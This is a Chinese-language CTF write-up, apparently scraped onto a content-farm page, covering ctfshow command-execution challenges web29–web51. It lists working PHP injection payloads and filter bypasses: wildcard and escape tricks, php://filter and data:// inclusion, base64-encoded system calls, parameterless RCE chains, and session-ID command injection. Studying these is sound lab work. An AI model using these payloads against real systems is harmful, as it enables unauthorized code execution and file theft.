当前位置: 首页 > news >正文

网站开发公司 杭州网站的建设主题

网站开发公司 杭州,网站的建设主题,中国著名十大vi设计案例,交友营销型网站Ctfshow 命令执行 web29 pregmatch是正则匹配函数,匹配是否包含flag,if(!preg_match("/flag/i", $c)),/i忽略大小写 可以利用system来间接执行系统命令 flag采用f*绕过,或者mv fl?g.php 1.txt修改文件名&#xff0c…

Ctfshow 命令执行 web29

pregmatch是正则匹配函数,匹配是否包含flag,if(!preg_match("/flag/i", $c))/i忽略大小写

可以利用system来间接执行系统命令

flag采用f*绕过,或者mv fl?g.php 1.txt修改文件名,或者cat 反引号ls反引号

linux通配符:https://www.cnblogs.com/ysuwangqiang/p/11364173.html

img

img

img

Ctfshow 命令执行 web30

多了对system和php的过滤

*绕过和passthru

img

img

Ctfshow 命令执行 web31

过滤flag system php cat sort shell . 空格 '

过滤了空格,可以使用%09替代;也可以使用{$IFS}或者$IFS$1

传参如下:

?c=passthru("tac%09fla*");

img

Ctfshow 命令执行 web32

过滤flag system php cat sort shell . 空格 ' 反引号 echo

之前的方法都没有用了。无所谓,文件包含会出手。

https://www.cnblogs.com/endust/p/11804767.html

?c=include$_GET[1]?>&1=php://filter/read=convert.base64-encode/resource=flag.php

img

img

Ctfshow 命令执行 web33

又加了("的过滤,没事,文件包含还能出手。

Payload:

?c=include$_GET[a]?>&a=data://text/plain,<?php system('ls /');?>

img

此外,这里日志包含也是可行的。

Ctfshow 命令执行 web34

好的这下:也被过滤了。没事,文件包含还能出手。

Payload:

?c=include$_GET[a]?>&a=data://text/plain,<?php system('ls /');?>

img

Ctfshow 命令执行 web35

<=也被过滤了,没关系,文件包含还能出手

Payload:

?c=include$_GET[a]?>&a=php://filter/read=convert.base64-encode/resource=flag.php

img

Ctfshow 命令执行 web36

加了对/数字0-9的过滤,还是文件包含,一样的payload。

img

Ctfshow 命令执行 web37

好家伙直接给我文件包含了是吧

imgPayload: (采用了base64编码绕过过滤)

?c=data://text/plain;base64,PD9waHAgc3lzdGVtKCJ0YWMgZmxhZy5waHAiKTs/Pg==       //(<?php system("tac flag.php");?>)

img

Ctfshow 命令执行 web38

img

Payload不变。

img

Ctfshow 命令执行 web39

虽然强加了后缀,但是不影响。因为?>已经闭合PHP语句了。

?c=data://text/plain,<?php system("tac fla*.php");?>

imgimg

Ctfshow 命令执行 web40

img

过滤了很多东西。只有空格,分号,英文括号还可以用。

看了一下wp(https://blog.csdn.net/Kracxi/article/details/121041140),果然无能为力。这题考察无参RCE。

两种payload。

?c=eval(array_pop(next(get_defined_vars())));//需要POST传入参数为1=system('tac fl*');

img

?c=show_source(next(array_reverse(scandir(pos(localeconv())))));

img

以下是我解题过程中学习整理的关于无参RCE的函数实操等。(部分借鉴付劲远师傅的web思维导图)

img

除了无参RCE,还有个利用session的方法。

payload:

?c=session_start();system(session_id());

session_id(PHPSESSID)就是要执行的命令。

image-20230816224146225

但是这个方法有个弊端,命令不能有空格,因为cookie不解析空格。

image-20230816224203469

Ctfshow 命令执行 web41

无字母数字rce原理:利用各种非数字字母的字符,经过各种变换(异或、取反、自增),构造出单个的字母字符,然后把单个字符拼接成一个函数名,比如说system,然后就可以动态执行了。所以说这里的核心就是非字母的字符换成字母字符。(https://www.cnblogs.com/pursue-security/p/15404150.html)

代码审计,没有过滤或(|)。跑个脚本吧(脚本小子就是我了)

img

查看目录。

imgimg

Ctfshow 命令执行 web42

先看源码,一个新东西>/dev/null 2>&1

img

含义:

1>/dev/null :首先表示标准输出重定向到空设备文件,也就是不输出任何信息到终端,不显示任何信息。

> 代表重定向到哪里,例如:echo “123” > /home/123.txt

1 表示stdout标准输出,系统默认值是1,所以">/dev/null"等同于"1>/dev/null"

2 表示stderr标准错误

& 表示等同于的意思,2>&1,表示2的输出重定向等同于1

绕过方法就是在命令后面加截断命令 ; %0a%26(&) ||。具体原理就是重定向也是命令的一部分。比如说 命令1;命令2 1>/dev/null就是执行了命令1命令2 1>/dev/null,虽然命令2被重定向了,但是命令1没有。

imgimg

Ctfshow 命令执行 web43

过滤了分隔符;那可以换成别的分隔符。对cat的过滤可以用tac,nl替代,或者用各种转义符\'"

img

Payload:

?c=tac flag.php%26

img

Ctfshow 命令执行 web44

加了一个对flag的过滤,我们用转义符绕过。

image-20230816212559903

Payload:

?c=nl%20fl\ag.php||

Ctfshow 命令执行 web45

加了对空格的过滤,用%09代替。

image-20230816212400072

Payload:

?c=tac%09fla*||

Ctfshow 命令执行 web46

2023.8.16时隔半年,强迫症迫使我把基础给算完。

增加了对数字*$的过滤,空格可以用<>或者<或者%09代替(%09是URL编码,不是数字),过滤了通配符*但是?也不能用了,所以flag用转义符\或者''

image-20230816212144422

payload:

?c=nl<fla''g.php||        //在源码里面
?c=tac<fla\g.php||

发现一个奇怪的payload:这里通配符?又可以用了,弄得我满脸问号?????后来去查了一下,是因为**<?不能同时用**,上面的payload改成c=tac%09fla?.php||就好啦

?c=awk%09'/f/'%09fla?.php||等价于?c=awk%09'/f/{print}'%09fla?.php||

img

确实能用,解释一下。这个payload就是输出flag.php文件中包含字符串f的行。

如果我们把f换成ctfshow,那就只输出flag了。

image-20230816221547448

参考文章:

https://blog.csdn.net/Dark_Tk/article/details/114844529

Ctfshow 命令执行 web47

又多过滤了一些命令执行函数more less head sort tail。但是没过滤我最喜欢的tacnlawk

image-20230816224442763

payload不变:

?c=nl<fla''g.php||        //在源码里面
?c=tac<fla\g.php||
?c=awk%09'/f/'%09fla?.php||

image-20230816224433234

Ctfshow 命令执行 web48

再多过滤了一些命令执行函数sed cut awk strings od curl反引号。但是没过滤我最喜欢的tacnl

image-20230816224524783

payload不变:

?c=nl<fla''g.php||        //在源码里面
?c=tac<fla\g.php||

image-20230816224653293

Ctfshow 命令执行 web49

多过滤了百分号%,对我的payload没影响,我空格是用<绕过的。

image-20230816224742781

payload不变:

?c=nl<fla''g.php||        //在源码里面
?c=tac<fla\g.php||

image-20230816224908486

Ctfshow 命令执行 web50

多过滤了\x09(水平制表符tab)和\x26(&),对我的payload没影响。

image-20230816224959029

payload不变:

?c=nl<fla''g.php||        //在源码里面
?c=tac<fla\g.php||

image-20230816225059165

Ctfshow 命令执行 web51

多过滤了tac,payload还有一个能用。

image-20230816225139704

payload不变:

?c=nl<fla''g.php||        //在源码里面

image-20230816225345794

http://www.yayakq.cn/news/437853/

相关文章:

  • 自适应响应式网站源码wordpress 修改网址
  • wordpress网站运行时间代码网站开发后端用什么
  • 大学生实训网站建设心得网站建设规划设计
  • 网站开发的技术总结网名logo设计制作
  • 可以用AI做网站上的图吗滨州网站建设公司
  • 制作个人网站论文公司网站 设计方案
  • 福彩网网站建设方案没有货源怎么开网店?
  • 盐城网站建设费用申请网站空间怎么做
  • 加盟产品网站建设方案网页设计难学吗
  • 网站镜像做排名郑州公司网站
  • 怎么在搜索引擎里做网站网页沧州市网站制作
  • wordpress建站好用吗网站建设备案计划书
  • 宜宾建设招标网站创建公司多少钱
  • 认证空间如何显示网站计算机网站建设与管理是什么
  • 全椒网站建设网站悬挂备案号
  • 西丽做网站快速网站
  • 成都有实力的网站建设深圳设计公司深圳市广告设计公司
  • 苏州营销网站设计网站代理被抓
  • wordpress静态网站博客江苏网站建设推广
  • 网站漂浮广告怎么做好公司网站建设
  • jsp网站模版怎样自己做公司网站
  • 河北邢台做网站有偿做设计的网站
  • 手机网站与pc网站同步网站如何做质保系统
  • 哈尔滨建设网站制作在深圳做网站平台需要什么备案
  • 网站收录查询28创业商机网
  • 网站备案人有什么风险网站网络推广
  • 如何做网站建设团队建设移动wap网站
  • 设计素材网站大全网站可以做动态影集的网站
  • 专业网站建设包括哪些母版页和窗体做网站例子
  • 赵县网站建设医疗器械分类